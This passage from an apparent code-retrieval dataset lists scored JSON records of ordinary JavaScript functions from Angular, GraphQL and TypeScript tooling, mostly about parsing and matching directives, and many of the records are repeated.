context.lView, false);\n }\n return context.directives || [];\n}", "title": "" }, { "docid": "b475f45d23674ea2d9139100df53307d", "score": "0.47090936", "text": "function getDirectives(target) {\n var context = loadLContext(target);\n if (context.directives === undefined) {\n context.directives = getDirectivesAtNodeIndex(context.nodeIndex, context.lView, false);\n }\n return context.directives || [];\n}", "title": "" }, { "docid": "b475f45d23674ea2d9139100df53307d", "score": "0.47090936", "text": "function getDirectives(target) {\n var context = loadLContext(target);\n if (context.directives === undefined) {\n context.directives = getDirectivesAtNodeIndex(context.nodeIndex, context.lView, false);\n }\n return context.directives || [];\n}", "title": "" }, { "docid": "b475f45d23674ea2d9139100df53307d", "score": "0.47090936", "text": "function getDirectives(target) {\n var context = loadLContext(target);\n if (context.directives === undefined) {\n context.directives = getDirectivesAtNodeIndex(context.nodeIndex, context.lView, false);\n }\n return context.directives || [];\n}", "title": "" }, { "docid": "be4e74639a893c59321c18a68447b8c2", "score": "0.4707708", "text": "function getMergedDirectives() {\n var existingDirectives = schema.getDirectives();\n !existingDirectives ? (0, _invariant2.default)(0, 'schema must have default directives') : void 0;\n\n var newDirectives = directiveDefinitions.map(function (directiveNode) {\n return getDirective(directiveNode);\n });\n return existingDirectives.concat(newDirectives);\n }", "title": "" }, { "docid": "2921ac8b5bead4c0fd1abf100701f358", "score": "0.47009513", "text": "function getDirectives(target) {\n var context = loadContext(target);\n if (context.directives === undefined) {\n context.directives = getDirectivesAtNodeIndex(context.nodeIndex, context.lViewData, false);\n }\n return context.directives || [];\n}", "title": "" }, { "docid": "d7567e7de54e337a70d3d53cf3931418", "score": "0.46974295", "text": "function extractClassesAndMethods(code) {\n var s = code;\n s = s.replace(methodsRegex, function(all) {\n return addAtom(all, 'D');\n });\n return s;\n }", "title": "" }, { "docid": "4a9dd2ce7c859745859b7db4c173d714", "score": "0.4691505", "text": "off(classNames) {\n var attrs = [];\n for (var i = 0; i < this.attrs.length; i++) {\n var origAttr = this.attrs[i];\n var newAttr = { range: new Range(origAttr.range.location, origAttr.range.length),\n attrs: origAttr.attrs.filter((name) => !classNames.includes(name)) };\n if (newAttr.attrs.length > 0) {\n attrs.push(newAttr);\n }\n }\n \n function equalClasses(a, b) {\n if (a.length != b.length) return false;\n var sa = new Set(a);\n for (var i = 0; i < b.length; i++) {\n if (!sa.has(b[i])) return false;\n }\n return true;\n }\n\n attrs.sort((a, b) => {\n if (a.location < b.location) return -1;\n else if (a.location > b.location) return 1;\n else return 0;\n });\n\n var last = null;\n var simple = [];\n for (var i = 0; i < attrs.length; i++) {\n var cur = attrs[i];\n if (!last || (last.range.location + last.range.length) != cur.range.location || !equalClasses(last.attrs, cur.attrs)) {\n last = cur;\n simple.push(cur);\n } else {\n last.range.length += cur.range.length;\n }\n }\n \n this.attrs = simple;\n }", "title": "" }, { "docid": "1fdf86135ccf00b31a11fadd0c34945b", "score": "0.46891776", "text": "function getUndecoratedClassesWithDecoratedFields(sourceFile, typeChecker) {\n const classes = [];\n sourceFile.forEachChild(function walk(node) {\n if (ts.isClassDeclaration(node) &&\n (!node.decorators || !ng_decorators_1.getAngularDecorators(typeChecker, node.decorators).length)) {\n for (const member of node.members) {\n const angularDecorators = member.decorators && ng_decorators_1.getAngularDecorators(typeChecker, member.decorators);\n if (angularDecorators && angularDecorators.length) {\n classes.push({ classDeclaration: node, importDeclaration: angularDecorators[0].importNode });\n return;\n }\n }\n }\n node.forEachChild(walk);\n });\n return classes;\n }", "title": "" }, { "docid": "04cb14aba94f1603cedc9662ada3bf1e", "score": "0.46864954", "text": "function getMergedDirectives() {\n var existingDirectives = schema.getDirectives();\n (0, _invariant2.default)(existingDirectives, 'schema must have default directives');\n\n var newDirectives = directiveDefinitions.map(function (directiveNode) {\n return getDirective(directiveNode);\n });\n return existingDirectives.concat(newDirectives);\n }", "title": "" }, { "docid": "04cb14aba94f1603cedc9662ada3bf1e", "score": "0.46864954", "text": "function getMergedDirectives() {\n var existingDirectives = schema.getDirectives();\n (0, _invariant2.default)(existingDirectives, 'schema must have default directives');\n\n var newDirectives = directiveDefinitions.map(function (directiveNode) {\n return getDirective(directiveNode);\n });\n return existingDirectives.concat(newDirectives);\n }", "title": "" }, { "docid": "dd3900ffb2ee97e222cc8fbf3379f69f", "score": "0.46769384", "text": "function parseDirectives(lexer, isConst) {\n var directives = [];\n while (peek(lexer, __WEBPACK_IMPORTED_MODULE_2__lexer__[\"a\" /* TokenKind */].AT)) {\n directives.push(parseDirective(lexer, isConst));\n }\n return directives;\n}", "title": "" }, { "docid": "dd3900ffb2ee97e222cc8fbf3379f69f", "score": "0.46769384", "text": "function parseDirectives(lexer, isConst) {\n var directives = [];\n while (peek(lexer, __WEBPACK_IMPORTED_MODULE_2__lexer__[\"a\" /* TokenKind */].AT)) {\n directives.push(parseDirective(lexer, isConst));\n }\n return directives;\n}", "title": "" }, { "docid": "ea53ed494c7fb4c596e09f746b9c8711", "score": "0.46632376", "text": "function parseDirectiveLocations(lexer) {\n // Optional leading pipe\n skip(lexer, __WEBPACK_IMPORTED_MODULE_2__lexer__[\"a\" /* TokenKind */].PIPE);\n var locations = [];\n do {\n locations.push(parseDirectiveLocation(lexer));\n } while (skip(lexer, __WEBPACK_IMPORTED_MODULE_2__lexer__[\"a\" /* TokenKind */].PIPE));\n return locations;\n}", "title": "" }, { "docid": "ea53ed494c7fb4c596e09f746b9c8711", "score": "0.46632376", "text": "function parseDirectiveLocations(lexer) {\n // Optional leading pipe\n skip(lexer, __WEBPACK_IMPORTED_MODULE_2__lexer__[\"a\" /* TokenKind */].PIPE);\n var locations = [];\n do {\n locations.push(parseDirectiveLocation(lexer));\n } while (skip(lexer, __WEBPACK_IMPORTED_MODULE_2__lexer__[\"a\" /* TokenKind */].PIPE));\n return locations;\n}", "title": "" }, { "docid": "2cb4bead08f9d464fbf4323738717f1d", "score": "0.46616817", "text": "function getMergedDirectives() {\n var existingDirectives = schema.getDirectives();\n (0, _invariant2.default)(existingDirectives, 'schema must have default directives');\n\n var newDirectives = directiveDefinitions.map(function(directiveNode) {\n return getDirective(directiveNode);\n });\n return existingDirectives.concat(newDirectives);\n }", "title": "" }, { "docid": "cc57cad87ce87d94af54d3e6d5e70559", "score": "0.463445", "text": "function findDirectiveMatches(tNode) {\n var registry = currentView.tView.directiveRegistry;\n var matches = null;\n if (registry) {\n for (var i = 0; i < registry.length; i++) {\n var def = registry[i];\n if (isNodeMatchingSelectorList(tNode, (def.selectors))) {\n if (def.template) {\n if (tNode.flags & 4096 /* isComponent */)\n throwMultipleComponentError(tNode);\n tNode.flags = 4096 /* isComponent */;\n }\n if (def.diPublic)\n def.diPublic(def);\n (matches || (matches = [])).push(def, null);\n }\n }\n }\n return matches;\n}", "title": "" }, { "docid": "b22841b263e8d7e9a25bd123f0f43b40", "score": "0.46235764", "text": "function findDirectiveDefMatches(tView, viewData, tNode) {\n ngDevMode && assertFirstCreatePass(tView);\n ngDevMode && assertNodeOfPossibleTypes(tNode, 3 /* Element */, 4 /* ElementContainer */, 0 /* Container */);\n var registry = tView.directiveRegistry;\n var matches = null;\n if (registry) {\n for (var i = 0; i < registry.length; i++) {\n var def = registry[i];\n if (isNodeMatchingSelectorList(tNode, def.selectors, /* isProjectionMode */ false)) {\n matches || (matches = ngDevMode ? new MatchesArray() : []);\n diPublicInInjector(getOrCreateNodeInjectorForNode(tNode, viewData), tView, def.type);\n if (isComponentDef(def)) {\n if (tNode.flags & 2 /* isComponentHost */)\n throwMultipleComponentError(tNode);\n markAsComponentHost(tView, tNode);\n // The component is always stored first with directives after.\n matches.unshift(def);\n }\n else {\n matches.push(def);\n }\n }\n }\n }\n return matches;\n}", "title": "" }, { "docid": "831ddfc041ce2fa76608fcc2172f02fa", "score": "0.46121", "text": "function getAutomaticTypeDirectiveNames(options,host){// Use explicit type list from tsconfig.json\nif(options.types){return options.types;}// Walk the primary type lookup locations\nvar result=[];if(host.directoryExists&&host.getDirectories){var typeRoots=getEffectiveTypeRoots(options,host);if(typeRoots){for(var _i=0,typeRoots_1=typeRoots;_i<typeRoots_1.length;_i++){var root=typeRoots_1[_i];if(host.directoryExists(root)){for(var _a=0,_b=host.getDirectories(root);_a<_b.length;_a++){var typeDirectivePath=_b[_a];var normalized=ts.normalizePath(typeDirectivePath);var packageJsonPath=ts.combinePaths(root,normalized,\"package.json\");// `types-publisher` sometimes creates packages with `\"typings\": null` for packages that don't provide their own types.\n// See `createNotNeededPackageJSON` in the types-publisher` repo.\n// eslint-disable-next-line no-null/no-null\nvar isNotNeededPackage=host.fileExists(packageJsonPath)&&ts.readJson(packageJsonPath,host).typings===null;if(!isNotNeededPackage){var baseFileName=ts.getBaseFileName(normalized);// At this stage, skip results with leading dot.\nif(baseFileName.charCodeAt(0)!==46/* dot */){// Return just the type directive names\nresult.push(baseFileName);}}}}}}}return result;}", "title": "" }, { "docid": "5752b1d637b79d82dc3d6df43eb87102", "score": "0.45951912", "text": "function parseClasses(code) {\n var re, match;\n\n var classes = [];\n re = /(\\.[a-zA-Z][\\w-]*)/g;\n while (match = re.exec(code)) {\n classes.push(match[1]);\n }\n return _.uniq(classes);\n}", "title": "" }, { "docid": "98645af1a35aead22735d5b97f0b88ab", "score": "0.45723662", "text": "function parseDirectives(lexer, isConst) {\n var directives = [];\n\n while (peek(lexer, _lexer__WEBPACK_IMPORTED_MODULE_4__[\"TokenKind\"].AT)) {\n directives.push(parseDirective(lexer, isConst));\n }\n\n return directives;\n}", "title": "" }, { "docid": "d7ef6725c635052b6a8d86eb655732d6", "score": "0.45692587", "text": "function parseDirectives(lexer, isConst) {\n var directives = [];\n\n while (peek(lexer, _lexer__WEBPACK_IMPORTED_MODULE_3__[\"TokenKind\"].AT)) {\n directives.push(parseDirective(lexer, isConst));\n }\n\n return directives;\n}", "title": "" }, { "docid": "794e6fcf17e7caa93e0947b66877dcc5", "score": "0.45672798", "text": "getDiagnostics() {\n let diagnosticLists = [this.diagnostics];\n //add diagnostics from every referenced file\n this.enumerateFiles((file) => {\n diagnosticLists.push(file.getDiagnostics());\n });\n let allDiagnostics = Array.prototype.concat.apply([], diagnosticLists);\n let filteredDiagnostics = allDiagnostics.filter((x) => {\n return !util_1.util.diagnosticIsSuppressed(x);\n });\n //filter out diangostics that match any of the comment flags\n return filteredDiagnostics;\n }", "title": "" }, { "docid": "3852321969085927733d08fcb5f79381", "score": "0.45641685", "text": "function parseDirectiveLocations(lexer) {\n // Optional leading pipe\n skip(lexer, _lexer__WEBPACK_IMPORTED_MODULE_3__[\"TokenKind\"].PIPE);\n var locations = [];\n\n do {\n locations.push(parseDirectiveLocation(lexer));\n } while (skip(lexer, _lexer__WEBPACK_IMPORTED_MODULE_3__[\"TokenKind\"].PIPE));\n\n return locations;\n}", "title": "" }, { "docid": "2a2ec93f07aeb75fa10a0c07f3177cb3", "score": "0.45634192", "text": "function parseDirectiveLocations(lexer) {\n // Optional leading pipe\n skip(lexer, _lexer__WEBPACK_IMPORTED_MODULE_4__[\"TokenKind\"].PIPE);\n var locations = [];\n\n do {\n locations.push(parseDirectiveLocation(lexer));\n } while (skip(lexer, _lexer__WEBPACK_IMPORTED_MODULE_4__[\"TokenKind\"].PIPE));\n\n return locations;\n}", "title": "" }, { "docid": "ec8437c00dfc96cf02837cdc38789c1d", "score": "0.45530382", "text": "function parseDirectiveLocations(lexer$$1) {\n // Optional leading pipe\n skip(lexer$$1, lexer.TokenKind.PIPE);\n var locations = [];\n do {\n locations.push(parseDirectiveLocation(lexer$$1));\n } while (skip(lexer$$1, lexer.TokenKind.PIPE));\n return locations;\n}", "title": "" }, { "docid": "844d5407224752d49cc4bbac5c04dd2b", "score": "0.45506003", "text": "function parseDirectives(lexer) {\n var directives = [];\n while (peek(lexer, _lexer.TokenKind.AT)) {\n directives.push(parseDirective(lexer));\n }\n return directives;\n }", "title": "" }, { "docid": "110bcf6ed4cfc9ae252fd4e80d4bf235", "score": "0.4546477", "text": "function extractMethods(m) {\n var eMethods = [];\n m.forEach(e => {\n e['classes'].forEach(c => {\n var mFound = c['methods'].filter(ms => uMethods.includes(ms));\n eMethods = eMethods.concat(mFound);\n })\n })\n\n return eMethods;\n}", "title": "" }, { "docid": "bb3367d8dcbd16f0fc061e2750ab5be3", "score": "0.45403594", "text": "function findDirectiveDefMatches(tView, viewData, tNode) {\n ngDevMode && assertFirstCreatePass(tView);\n ngDevMode &&\n assertNodeOfPossibleTypes(tNode, [2 /* Element */, 3 /* ElementContainer */, 0 /* Container */]);\n const registry = tView.directiveRegistry;\n let matches = null;\n if (registry) {\n for (let i = 0; i < registry.length; i++) {\n const def = registry[i];\n if (isNodeMatchingSelectorList(tNode, def.selectors, /* isProjectionMode */ false)) {\n matches || (matches = ngDevMode ? new MatchesArray() : []);\n diPublicInInjector(getOrCreateNodeInjectorForNode(tNode, viewData), tView, def.type);\n if (isComponentDef(def)) {\n if (ngDevMode) {\n assertNodeOfPossibleTypes(tNode, [2 /* Element */], `\"${tNode.tagName}\" tags cannot be used as component hosts. ` +\n `Please use a different tag to activate the ${stringify(def.type)} component.`);\n if (tNode.flags & 2 /* isComponentHost */)\n throwMultipleComponentError(tNode);\n }\n markAsComponentHost(tView, tNode);\n // The component is always stored first with directives after.\n matches.unshift(def);\n }\n else {\n matches.push(def);\n }\n }\n }\n }\n return matches;\n}", "title": "" }, { "docid": "14cbb9fee86896cd8d7299c9ac5b57d9", "score": "0.45385098", "text": "function collectAsynchronousDependencies(node,includeNonAmdDependencies){// names of modules with corresponding parameter in the factory function\nvar aliasedModuleNames=[];// names of modules with no corresponding parameters in factory function\nvar unaliasedModuleNames=[];// names of the parameters in the factory function; these\n// parameters need to match the indexes of the corresponding\n// module names in aliasedModuleNames.\nvar importAliasNames=[];// Fill in amd-dependency tags\nfor(var _i=0,_a=node.amdDependencies;_i<_a.length;_i++){var amdDependency=_a[_i];if(amdDependency.name){aliasedModuleNames.push(ts.createLiteral(amdDependency.path));importAliasNames.push(ts.createParameter(/*decorators*/undefined,/*modifiers*/undefined,/*dotDotDotToken*/undefined,amdDependency.name));}else{unaliasedModuleNames.push(ts.createLiteral(amdDependency.path));}}for(var _b=0,_c=currentModuleInfo.externalImports;_b<_c.length;_b++){var importNode=_c[_b];// Find the name of the external module\nvar externalModuleName=ts.getExternalModuleNameLiteral(importNode,currentSourceFile,host,resolver,compilerOptions);// Find the name of the module alias, if there is one\nvar importAliasName=ts.getLocalNameForExternalImport(importNode,currentSourceFile);// It is possible that externalModuleName is undefined if it is not string literal.\n// This can happen in the invalid import syntax.\n// E.g : \"import * from alias from 'someLib';\"\nif(externalModuleName){if(includeNonAmdDependencies&&importAliasName){// Set emitFlags on the name of the classDeclaration\n// This is so that when printer will not substitute the identifier\nts.setEmitFlags(importAliasName,4/* NoSubstitution */);aliasedModuleNames.push(externalModuleName);importAliasNames.push(ts.createParameter(/*decorators*/undefined,/*modifiers*/undefined,/*dotDotDotToken*/undefined,importAliasName));}else{unaliasedModuleNames.push(externalModuleName);}}}return{aliasedModuleNames:aliasedModuleNames,unaliasedModuleNames:unaliasedModuleNames,importAliasNames:importAliasNames};}", "title": "" }, { "docid": "9869876c43d46f0e23e3ac183f055413", "score": "0.4520923", "text": "function findDirectiveDefMatches(tView, viewData, tNode) {\n ngDevMode && assertFirstCreatePass(tView);\n ngDevMode && assertTNodeType(tNode, 3 /* AnyRNode */ | 12 /* AnyContainer */);\n const registry = tView.directiveRegistry;\n let matches = null;\n if (registry) {\n for (let i = 0; i < registry.length; i++) {\n const def = registry[i];\n if (isNodeMatchingSelectorList(tNode, def.selectors, /* isProjectionMode */ false)) {\n matches || (matches = ngDevMode ? new MatchesArray() : []);\n diPublicInInjector(getOrCreateNodeInjectorForNode(tNode, viewData), tView, def.type);\n if (isComponentDef(def)) {\n if (ngDevMode) {\n assertTNodeType(tNode, 2 /* Element */, `\"${tNode.value}\" tags cannot be used as component hosts. ` +\n `Please use a different tag to activate the ${stringify(def.type)} component.`);\n if (tNode.flags & 2 /* isComponentHost */)\n throwMultipleComponentError(tNode);\n }\n markAsComponentHost(tView, tNode);\n // The component is always stored first with directives after.\n matches.unshift(def);\n }\n else {\n matches.push(def);\n }\n }\n }\n }\n return matches;\n}", "title": "" }, { "docid": "9869876c43d46f0e23e3ac183f055413", "score": "0.4520923", "text": "function findDirectiveDefMatches(tView, viewData, tNode) {\n ngDevMode && assertFirstCreatePass(tView);\n ngDevMode && assertTNodeType(tNode, 3 /* AnyRNode */ | 12 /* AnyContainer */);\n const registry = tView.directiveRegistry;\n let matches = null;\n if (registry) {\n for (let i = 0; i < registry.length; i++) {\n const def = registry[i];\n if (isNodeMatchingSelectorList(tNode, def.selectors, /* isProjectionMode */ false)) {\n matches || (matches = ngDevMode ? new MatchesArray() : []);\n diPublicInInjector(getOrCreateNodeInjectorForNode(tNode, viewData), tView, def.type);\n if (isComponentDef(def)) {\n if (ngDevMode) {\n assertTNodeType(tNode, 2 /* Element */, `\"${tNode.value}\" tags cannot be used as component hosts. ` +\n `Please use a different tag to activate the ${stringify(def.type)} component.`);\n if (tNode.flags & 2 /* isComponentHost */)\n throwMultipleComponentError(tNode);\n }\n markAsComponentHost(tView, tNode);\n // The component is always stored first with directives after.\n matches.unshift(def);\n }\n else {\n matches.push(def);\n }\n }\n }\n }\n return matches;\n}", "title": "" }, { "docid": "9869876c43d46f0e23e3ac183f055413", "score": "0.4520923", "text": "function findDirectiveDefMatches(tView, viewData, tNode) {\n ngDevMode && assertFirstCreatePass(tView);\n ngDevMode && assertTNodeType(tNode, 3 /* AnyRNode */ | 12 /* AnyContainer */);\n const registry = tView.directiveRegistry;\n let matches = null;\n if (registry) {\n for (let i = 0; i < registry.length; i++) {\n const def = registry[i];\n if (isNodeMatchingSelectorList(tNode, def.selectors, /* isProjectionMode */ false)) {\n matches || (matches = ngDevMode ? new MatchesArray() : []);\n diPublicInInjector(getOrCreateNodeInjectorForNode(tNode, viewData), tView, def.type);\n if (isComponentDef(def)) {\n if (ngDevMode) {\n assertTNodeType(tNode, 2 /* Element */, `\"${tNode.value}\" tags cannot be used as component hosts. ` +\n `Please use a different tag to activate the ${stringify(def.type)} component.`);\n if (tNode.flags & 2 /* isComponentHost */)\n throwMultipleComponentError(tNode);\n }\n markAsComponentHost(tView, tNode);\n // The component is always stored first with directives after.\n matches.unshift(def);\n }\n else {\n matches.push(def);\n }\n }\n }\n }\n return matches;\n}", "title": "" }, { "docid": "9869876c43d46f0e23e3ac183f055413", "score": "0.4520923", "text": "function findDirectiveDefMatches(tView, viewData, tNode) {\n ngDevMode && assertFirstCreatePass(tView);\n ngDevMode && assertTNodeType(tNode, 3 /* AnyRNode */ | 12 /* AnyContainer */);\n const registry = tView.directiveRegistry;\n let matches = null;\n if (registry) {\n for (let i = 0; i < registry.length; i++) {\n const def = registry[i];\n if (isNodeMatchingSelectorList(tNode, def.selectors, /* isProjectionMode */ false)) {\n matches || (matches = ngDevMode ? new MatchesArray() : []);\n diPublicInInjector(getOrCreateNodeInjectorForNode(tNode, viewData), tView, def.type);\n if (isComponentDef(def)) {\n if (ngDevMode) {\n assertTNodeType(tNode, 2 /* Element */, `\"${tNode.value}\" tags cannot be used as component hosts. ` +\n `Please use a different tag to activate the ${stringify(def.type)} component.`);\n if (tNode.flags & 2 /* isComponentHost */)\n throwMultipleComponentError(tNode);\n }\n markAsComponentHost(tView, tNode);\n // The component is always stored first with directives after.\n matches.unshift(def);\n }\n else {\n matches.push(def);\n }\n }\n }\n }\n return matches;\n}", "title": "" }, { "docid": "405d71ff9e21d876f192e5bf6437333b", "score": "0.4511144", "text": "function parseDirectives(lexer) {\n var directives = [];\n while (peek(lexer, _lexer.TokenKind.AT)) {\n directives.push(parseDirective(lexer));\n }\n return directives;\n}", "title": "" }, { "docid": "405d71ff9e21d876f192e5bf6437333b", "score": "0.4511144", "text": "function parseDirectives(lexer) {\n var directives = [];\n while (peek(lexer, _lexer.TokenKind.AT)) {\n directives.push(parseDirective(lexer));\n }\n return directives;\n}", "title": "" }, { "docid": "405d71ff9e21d876f192e5bf6437333b", "score": "0.4511144", "text": "function parseDirectives(lexer) {\n var directives = [];\n while (peek(lexer, _lexer.TokenKind.AT)) {\n directives.push(parseDirective(lexer));\n }\n return directives;\n}", "title": "" }, { "docid": "405d71ff9e21d876f192e5bf6437333b", "score": "0.4511144", "text": "function parseDirectives(lexer) {\n var directives = [];\n while (peek(lexer, _lexer.TokenKind.AT)) {\n directives.push(parseDirective(lexer));\n }\n return directives;\n}", "title": "" }, { "docid": "405d71ff9e21d876f192e5bf6437333b", "score": "0.4511144", "text": "function parseDirectives(lexer) {\n var directives = [];\n while (peek(lexer, _lexer.TokenKind.AT)) {\n directives.push(parseDirective(lexer));\n }\n return directives;\n}", "title": "" }, { "docid": "441b61f8026de060739f3158372b38b8", "score": "0.45004988", "text": "function parseDirectiveLocations(lexer) {\n var locations = [];\n do {\n locations.push(parseName(lexer));\n } while (skip(lexer, _lexer.TokenKind.PIPE));\n return locations;\n}", "title": "" }, { "docid": "441b61f8026de060739f3158372b38b8", "score": "0.45004988", "text": "function parseDirectiveLocations(lexer) {\n var locations = [];\n do {\n locations.push(parseName(lexer));\n } while (skip(lexer, _lexer.TokenKind.PIPE));\n return locations;\n}", "title": "" }, { "docid": "a9ba0649b5719ffc186591f32f3f780c", "score": "0.4481857", "text": "function parseDirectives(parser) {\n\t var directives = [];\n\t while (peek(parser, _lexer.TokenKind.AT)) {\n\t directives.push(parseDirective(parser));\n\t }\n\t return directives;\n\t}", "title": "" }, { "docid": "5bf5369bb426b62361474e7bd14a7e7b", "score": "0.447825", "text": "function parseDirectiveLocations(lexer) {\n // Optional leading pipe\n skip(lexer, _lexer.TokenKind.PIPE);\n var locations = [];\n do {\n locations.push(parseName(lexer));\n } while (skip(lexer, _lexer.TokenKind.PIPE));\n return locations;\n}", "title": "" }, { "docid": "5bf5369bb426b62361474e7bd14a7e7b", "score": "0.447825", "text": "function parseDirectiveLocations(lexer) {\n // Optional leading pipe\n skip(lexer, _lexer.TokenKind.PIPE);\n var locations = [];\n do {\n locations.push(parseName(lexer));\n } while (skip(lexer, _lexer.TokenKind.PIPE));\n return locations;\n}", "title": "" }, { "docid": "5bf5369bb426b62361474e7bd14a7e7b", "score": "0.447825", "text": "function parseDirectiveLocations(lexer) {\n // Optional leading pipe\n skip(lexer, _lexer.TokenKind.PIPE);\n var locations = [];\n do {\n locations.push(parseName(lexer));\n } while (skip(lexer, _lexer.TokenKind.PIPE));\n return locations;\n}", "title": "" }, { "docid": "6690590e0c7579290aed44094b082310", "score": "0.44672412", "text": "getAttendedClasses() {\n return this.getPastClasses().filter(c => c.presence);\n }", "title": "" }, { "docid": "87650f757ecb2e0607ed273c5ac63570", "score": "0.44607723", "text": "resolveTypeReferenceDirectives(names, containingFile) {\n if (!this.allowActionInputReads)\n return [];\n const result = [];\n names.forEach(name => {\n let resolved;\n // primary search\n this.options.typeRoots.forEach(typeRoot => {\n if (!resolved) {\n resolved = this.resolveTypingFromDirectory(path.posix.join(typeRoot, name), true);\n }\n });\n // secondary search\n if (!resolved) {\n resolved = this.resolveTypingFromDirectory(path.posix.join(this.bazelOpts.nodeModulesPrefix, name), false);\n }\n // Types not resolved should be silently ignored. Leave it to Typescript\n // to either error out with \"TS2688: Cannot find type definition file for\n // 'foo'\" or for the build to fail due to a missing type that is used.\n if (!resolved) {\n if (worker_1.DEBUG) {\n worker_1.debug(`Failed to resolve type reference directive '${name}'`);\n }\n return;\n }\n // In typescript 2.x the return type for this function\n // is `(ts.ResolvedTypeReferenceDirective | undefined)[]` thus we actually\n // do allow returning `undefined` in the array but the function is typed\n // `(ts.ResolvedTypeReferenceDirective)[]` to compile with both typescript\n // 2.x and 3.0/3.1 without error. Typescript 3.0/3.1 do handle the `undefined`\n // values in the array correctly despite the return signature.\n // It looks like the return type change was a mistake because\n // it was changed back to include `| undefined` recently:\n // https://github.com/Microsoft/TypeScript/pull/28059.\n result.push(resolved);\n });\n return result;\n }", "title": "" }, { "docid": "96a62cb935c37557a4f25db0a1691463", "score": "0.44526023", "text": "getAttributeValueCompletions({ editor, bufferPosition }) {\n\t\tlet prefix = Utils.getCustomPrefix({ bufferPosition, editor });\n\t\tlet values;\n\t\tlet tag = this.getPreviousTag(editor.getBuffer(), bufferPosition);\n\t\tlet attribute = this.getPreviousAttribute(editor, bufferPosition);\n\t\tlet currentPath = editor.getPath();\n\t\t// let currentControllerName = path.basename(currentPath, path.extname(currentPath));\n\t\tlet completions = [];\n\n\t\t//\n\t\t// realted TSS file\n\t\t//\n\t\tif ((attribute === 'id') || (attribute === 'class')) {\n\t\t\tlet fileName;\n\t\t\tlet textBuffer = Utils.getTextBuffer(related.getTargetPath('tss', currentPath));\n\t\t\tif (!textBuffer.isEmpty()) {\n\t\t\t\tvalues = this.tokenTextForSelector(textBuffer, attribute);\n\t\t\t\tfileName = textBuffer.getPath().split('/').pop();\n\t\t\t\tfor (const value of values) {\n\t\t\t\t\tif (!prefix || Utils.firstCharsEqual(value, prefix)) {\n\t\t\t\t\t\tcompletions.push(this.buildStyleSelectorCompletion(attribute, value, fileName));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t//\n\t\t\t// app.tss file\n\t\t\t//\n\t\t\ttextBuffer = Utils.getTextBuffer(path.join(atom.project.getPaths()[0], 'app', 'styles', 'app.tss'));\n\t\t\tif (!textBuffer.isEmpty()) {\n\t\t\t\tvalues = this.tokenTextForSelector(textBuffer, attribute);\n\t\t\t\tfileName = textBuffer.getPath().split('/').pop();\n\t\t\t\tfor (const value of values) {\n\t\t\t\t\tif (!prefix || Utils.firstCharsEqual(value, prefix)) {\n\t\t\t\t\t\tcompletions.push(this.buildStyleSelectorCompletion(attribute, value, fileName));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t} else if (attribute === 'src') {\n\t\t\tlet alloyRootPath = Utils.getAlloyRootPath();\n\n\t\t\t//\n\t\t\t// Require src attribute\n\t\t\t//\n\t\t\tif (tag === 'Require') {\n\t\t\t\tlet controllerPath = path.join(alloyRootPath, 'controllers');\n\t\t\t\tif (Utils.directoryExists(controllerPath)) {\n\t\t\t\t\tlet files = find.fileSync(/\\.js$/, controllerPath);\n\t\t\t\t\tfor (const file of files) {\n\t\t\t\t\t\tif (currentPath !== file) { // exclude current controller\n\t\t\t\t\t\t\tlet prefix = Utils.getCustomPrefix({ bufferPosition, editor });\n\t\t\t\t\t\t\tlet additionalPrefix = (prefix.startsWith('/') ? '' : '/');\n\t\t\t\t\t\t\tlet value = Utils.toUnixPath(file.replace(controllerPath, '').split('.')[0]);\n\t\t\t\t\t\t\tcompletions.push(autoCompleteHelper.suggestion({\n\t\t\t\t\t\t\t\ttype: 'require',\n\t\t\t\t\t\t\t\ttext: value,\n\t\t\t\t\t\t\t\treplacementPrefix: additionalPrefix + prefix,\n\t\t\t\t\t\t\t\tonDidInsertSuggestion({ editor, triggerPosition, suggestion }) {\n\t\t\t\t\t\t\t\t\tlet targetRange = [\n\t\t\t\t\t\t\t\t\t\t[ triggerPosition.row, 0 ],\n\t\t\t\t\t\t\t\t\t\t[ triggerPosition.row, triggerPosition.column ]\n\t\t\t\t\t\t\t\t\t];\n\t\t\t\t\t\t\t\t\tlet originText = editor.getTextInRange(targetRange);\n\t\t\t\t\t\t\t\t\tif (!(new RegExp(`${suggestion.replacementPrefix}$`)).test(originText)) {\n\t\t\t\t\t\t\t\t\t\treturn editor.setTextInBufferRange(targetRange, originText.replace(new RegExp(`${prefix}$`), `${value}`));\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t//\n\t\t\t// Widget src attribute\n\t\t\t//\n\t\t\t} else if (tag === 'Widget') {\n\t\t\t\tif (alloyRootPath) {\n\t\t\t\t\tlet alloyConfigPath = path.join(alloyRootPath, 'config.json');\n\t\t\t\t\ttry {\n\t\t\t\t\t\tlet configObj = JSON.parse(fs.readFileSync(alloyConfigPath));\n\t\t\t\t\t\tfor (let widgetName in (configObj ? configObj.dependencies : undefined)) {\n\t\t\t\t\t\t\tcompletions.push(autoCompleteHelper.suggestion({\n\t\t\t\t\t\t\t\ttype: 'require',\n\t\t\t\t\t\t\t\ttext: widgetName,\n\t\t\t\t\t\t\t\treplacementPrefix: Utils.getCustomPrefix({ bufferPosition, editor })\n\t\t\t\t\t\t\t}));\n\t\t\t\t\t\t}\n\t\t\t\t\t} catch (e) {\n\t\t\t\t\t\treturn [];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t//\n\t\t\t// Attribute values for prefix\n\t\t\t//\n\t\t} else {\n\t\t\tvalues = this.getAttributeValues(attribute);\n\t\t\tfor (let value of values) {\n\t\t\t\tvalue = value.replace(/[\"']/g, '');\n\t\t\t\tif (!prefix || Utils.firstCharsEqual(value, prefix)) {\n\t\t\t\t\tcompletions.push(this.buildAttributeValueCompletion(tag, attribute, value));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn completions;\n\t}", "title": "" }, { "docid": "98730907925b96a095b0d2a3746fb207", "score": "0.44400662", "text": "function parseDirectives(lexer$$1, isConst) {\n var directives = [];\n while (peek(lexer$$1, lexer.TokenKind.AT)) {\n directives.push(parseDirective(lexer$$1, isConst));\n }\n return directives;\n}", "title": "" }, { "docid": "839ce4ab907ec75fd3bed967b1e71094", "score": "0.44200993", "text": "function parseDirectiveLocations(lexer) {\n var locations = [];\n do {\n locations.push(parseName(lexer));\n } while (skip(lexer, _lexer.TokenKind.PIPE));\n return locations;\n }", "title": "" 